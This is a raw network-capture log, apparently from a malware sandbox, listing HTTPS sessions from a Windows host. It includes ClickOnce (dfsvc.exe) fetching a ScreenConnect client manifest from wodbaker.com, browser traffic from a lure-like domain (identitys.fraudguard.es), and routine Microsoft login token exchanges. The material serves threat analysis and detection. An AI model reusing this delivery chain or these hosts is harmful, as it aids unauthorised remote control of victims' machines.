2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 73 5a 57 4e 30 49 46 52 76 62 32 77 42 50 45 4e 6f 62 32 39 7a 5a 53 42 33 61 47 6c 6a 61 43 42 73 62 32 64 76 62 69 42 7a 5a 58 4e 7a 61 57 39 75 49 48 52 76 49 47 4e 76 62 6e 52 79 62 32 77 67 62 32 34 67 64 47 68 6c 49 48 4a 6c 62 57 39 30 5a 53 42 74 59 57 4e 6f 61 57 35 6c 4c 67 45 55 55 32 56 73 5a 57 4e 30 49 45 78 76 5a 32 39 75 49 46 4e 6c 63 33 4e 70 62 32 34 42 45 56 4e 6c 62 47 56 6a 64 43 42 4e 61 57 4e 79 62 33 42 6f 62 32 35 6c 41 53 74 44 61 47 39 76 63 32 55 67 62 32 35 6c 49 47 39 79 49 47 31 76 63 6d 55 67 63 6d 56 74 62 33 52 6c 49 47 31 76 62 6d 6c 30 62 33 4a 7a 49 48 52 76 49 48 5a 70 5a 58 63 75 41 51 39 54 5a 57 78 6c 59 33 51 67 54 57 39 75 61 58 52 76 63 6e 4d 42 52 6b 4e 6f 62 32 39 7a 5a 53 42 68 49 47 78 76 64 32 56 79 49 48 Data Ascii: sZWN0IFRvb2wBPENob29zZSB3aGljaCBsb2dvbiBzZXNzaW9uIHRvIGNvbnRyb2wgb24gdGhlIHJlbW90ZSBtYWNoaW5lLgEUU2VsZWN0IExvZ29uIFNlc3Npb24BEVNlbGVjdCBNaWNyb3Bob25lAStDaG9vc2Ugb25lIG9yIG1vcmUgcmVtb3RlIG1vbml0b3JzIHRvIHZpZXcuAQ9TZWxlY3QgTW9uaXRvcnMBRkNob29zZSBhIGxvd2VyIH
2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 47 6c 6a 53 32 56 35 56 47 39 72 5a 57 34 39 59 6a 63 33 59 54 56 6a 4e 54 59 78 4f 54 4d 30 5a 54 41 34 4f 53 4e 54 65 58 4e 30 5a 57 30 75 55 6d 56 7a 62 33 56 79 59 32 56 7a 4c 6c 4a 31 62 6e 52 70 62 57 56 53 5a 58 4e 76 64 58 4a 6a 5a 56 4e 6c 64 41 49 41 41 41 41 56 41 41 41 41 41 41 41 41 41 46 42 42 52 46 42 42 52 46 41 70 68 2f 57 53 63 31 37 4c 6b 30 6f 49 7a 37 50 51 72 4d 4b 30 45 55 55 66 30 37 75 6d 2f 64 6b 6f 67 41 44 67 68 57 70 47 36 30 50 67 6b 2b 77 78 55 43 6e 35 42 41 4e 49 47 50 6e 4e 39 53 38 4d 6f 54 63 79 53 76 51 63 53 52 31 4b 31 32 45 75 53 7a 68 6a 6d 46 2f 36 61 33 4e 67 2b 6d 75 31 59 50 70 72 53 35 4f 4b 62 52 4e 4e 4e 6e 43 4f 41 77 41 41 47 67 4d 41 41 4a 30 42 41 41 42 69 41 51 41 41 55 41 49 41 41 4d 38 41 41 41 44 78 Data Ascii: GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAVAAAAAAAAAFBBRFBBRFAph/WSc17Lk0oIz7PQrMK0EUUf07um/dkogADghWpG60Pgk+wxUCn5BANIGPnN9S8MoTcySvQcSR1K12EuSzhjmF/6a3Ng+mu1YPprS5OKbRNNNnCOAwAAGgMAAJ0BAABiAQAAUAIAAM8AAADx
2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 52 47 4c 47 53 51 41 76 51 66 51 69 53 55 38 6c 4d 44 6c 42 4b 78 78 45 69 6c 32 41 51 74 76 78 4b 49 41 42 6c 44 4c 68 69 6b 42 65 79 69 42 30 33 49 52 4f 4a 4e 49 68 77 69 59 52 71 7a 46 42 66 41 44 6b 68 51 41 42 54 41 6c 73 41 38 42 4f 35 4e 49 50 79 4e 67 6b 59 31 59 57 36 4a 69 65 30 53 53 41 74 44 4b 73 54 45 42 6c 79 2b 42 53 77 70 59 34 5a 74 49 38 51 74 59 63 69 4d 57 53 7a 67 41 31 44 4a 4d 4b 49 47 58 59 31 49 79 41 48 31 76 49 69 6b 51 63 4c 59 52 61 35 38 6c 48 41 42 51 50 53 31 72 2f 69 31 66 41 71 2b 58 6a 63 43 5a 52 46 70 46 77 43 49 62 73 59 34 6f 67 41 47 67 63 6c 4a 7a 41 6b 34 2b 68 68 5a 77 51 39 74 43 61 42 55 43 7a 6a 35 4e 75 45 30 42 44 41 42 56 30 37 63 6e 34 4c 4b 50 49 70 55 57 63 4b 4a 74 49 62 51 4f 41 63 74 73 78 4b 49 41 Data Ascii: RGLGSQAvQfQiSU8lMDlBKxxEil2AQtvxKIABlDLhikBeyiB03IROJNIhwiYRqzFBfADkhQABTAlsA8BO5NIPyNgkY1YW6Jie0SSAtDKsTEBly+BSwpY4ZtI8QtYciMWSzgA1DJMKIGXY1IyAH1vIikQcLYRa58lHABQPS1r/i1fAq+XjcCZRFpFwCIbsY4ogAGgclJzAk4+hhZwQ9tCaBUCzj5NuE0BDABV07cn4LKPIpUWcKJtIbQOActsxKIA
2024-11-22 22:00:25 UTC	2742	IN	Data Raw: 45 71 6e 30 2f 6d 36 76 75 46 33 44 55 41 41 6a 79 75 41 5a 37 59 30 49 61 32 66 6e 35 7a 2b 64 64 61 36 34 58 4e 71 6e 58 57 33 44 30 34 36 58 2f 33 53 41 51 6a 67 34 45 6e 51 4d 2b 2f 32 52 67 2f 67 69 54 31 4b 47 31 39 50 74 73 2f 61 42 54 36 78 64 76 66 30 70 4f 4e 47 44 41 68 67 52 76 4f 78 6c 37 2b 2f 7a 38 7a 73 4e 6e 51 4f 35 63 62 35 61 62 64 64 37 6e 4f 37 69 4f 45 6a 74 32 46 41 41 42 4e 51 42 50 33 2b 34 6b 2f 50 47 39 69 45 31 44 6e 6f 44 76 76 68 58 61 54 77 2b 62 72 66 51 6b 41 41 4d 31 49 52 39 4b 65 4c 50 2f 33 36 72 46 6c 4e 53 42 75 64 37 66 61 6f 6e 32 42 72 32 31 55 59 45 4d 43 4d 55 49 50 31 35 76 4b 50 49 39 5a 68 62 55 35 57 2b 6e 62 62 51 5a 2f 69 52 51 69 37 43 51 4d 43 6d 43 46 72 73 4b 35 38 47 53 6d 41 6e 30 37 4f 30 65 6d 63 Data Ascii: Eqn0/m6vuF3DUAAjyuAZ7Y0Ia2fn5z+dda64XNqnXW3D046X/3SAQjg4EnQM+/2Rg/giT1KG19Pts/aBT6xdvf0pONGDAhgRvOxl7+/z8zsNnQO5cb5abdd7nO7iOEjt2FAABNQBP3+4k/PG9iE1DnoDvvhXaTw+brfQkAAM1IR9KeLP/36rFlNSBud7faon2Br21UYEMCMUIP15vKPI9ZhbU5W+nbbQZ/iRQi7CQMCmCFrsK58GSmAn07O0emc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.16	49760	20.190.147.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:00:25 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:00:26 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 21:59:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 7987f70a-dc15-4701-bcd6-f6feb01868e8 PPServer: PPV: 30 H: BL02EPF0001D9DB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:00:25 GMT Connection: close Content-Length: 11389
2024-11-22 22:00:26 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49761	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:27 UTC	94	OUT	GET /Bin/ScreenConnect.Client.manifest HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:27 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 17858 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:27 GMT Connection: close
2024-11-22 22:00:27 UTC	16150	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv
2024-11-22 22:00:27 UTC	1708	IN	Data Raw: 36 4d 44 44 6e 53 6c 72 7a 6d 32 71 32 41 53 34 2b 6a 57 75 66 63 78 34 64 79 74 35 42 69 67 32 4d 45 6a 52 30 65 7a 6f 51 39 75 6f 36 74 74 6d 41 61 44 47 37 64 71 5a 79 33 53 76 55 51 61 6b 68 43 42 6a 37 41 37 43 64 66 48 6d 7a 4a 61 77 76 39 71 59 46 53 4c 53 63 47 54 37 65 47 30 58 4f 42 76 36 79 62 35 6a 4e 57 79 2b 54 67 51 35 75 72 4f 6b 66 57 2b 30 2f 74 76 6b 32 45 30 58 4c 79 54 52 53 69 44 4e 69 70 6d 4b 46 2b 77 63 38 36 4c 4a 69 55 47 73 6f 50 55 58 50 59 56 47 55 7a 74 59 75 42 65 4d 2f 4c 6f 36 4f 77 4b 70 37 41 44 4b 35 47 79 4e 6e 6d 2b 39 36 30 49 48 6e 57 6d 5a 63 79 37 34 30 68 51 38 33 65 52 47 76 37 62 55 4b 4a 47 79 47 46 59 6d 50 56 38 41 68 59 38 67 79 69 74 4f 59 62 73 31 4c 63 4e 55 39 44 34 52 2b 5a 31 4d 49 33 73 4d 4a 4e 32 Data Ascii: 6MDDnSlrzm2q2AS4+jWufcx4dyt5Big2MEjR0ezoQ9uo6ttmAaDG7dqZy3SvUQakhCBj7A7CdfHmzJawv9qYFSLScGT7eG0XOBv6yb5jNWy+TgQ5urOkfW+0/tvk2E0XLyTRSiDNipmKF+wc86LJiUGsoPUXPYVGUztYuBeM/Lo6OwKp7ADK5GyNnm+960IHnWmZcy740hQ83eRGv7bUKJGyGFYmPV8AhY8gyitOYbs1LcNU9D4R+Z1MI3sMJN2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49762	20.190.147.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:00:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:00:29 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 21:59:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 01574ad9-a7e4-4210-b3c9-817cf229aa28 PPServer: PPV: 30 H: SN1PEPF0003F969 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:00:28 GMT Connection: close Content-Length: 11389
2024-11-22 22:00:29 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49765	20.190.147.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:30 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:00:30 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:00:31 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 21:59:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 89dee0f4-25dd-4e90-a55e-49b5cd21a691 PPServer: PPV: 30 H: BL02EPF0001DA07 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:00:30 GMT Connection: close Content-Length: 11409
2024-11-22 22:00:31 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49767	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:32 UTC	560	OUT	OPTIONS /report/v4?s=1rkrcL5WY%2BvhcOWqv%2F0jaSAbpYrkQJkPcFJBYzVUGfxV7AXW4k0PDHW2WZDMJEbipvkmhxfz5w0rgW5fUerdFt3k7Vw8bIizdw%2BVGz8BFtlnwg14LjPKwTM3jWPFnMGWABOTkBS7wD8%2Fbg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://identitys.fraudguard.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:33 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 22 Nov 2024 22:00:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49768	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:32 UTC	564	OUT	OPTIONS /report/v4?s=T84wszUi6UdFUqOb%2FqsHxaaCocd5JngdhnPerUR%2BHmIwL8iUiOqonpOl%2FJzMEgWCplBaxoo%2BxuomQi2bRNq7I9UQpNBE66Mb36kSUdVTNxl17N8YiphRADQ3%2BEEXa8BvAO5u%2Fs8syV3mNw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://identitys.fraudguard.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:33 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 22 Nov 2024 22:00:32 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49769	20.190.147.5	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:00:33 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:00:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 21:59:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 516bb756-9ef1-4af2-9a24-e7117b7ca83d PPServer: PPV: 30 H: BL02EPF0001D920 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:00:33 GMT Connection: close Content-Length: 11409
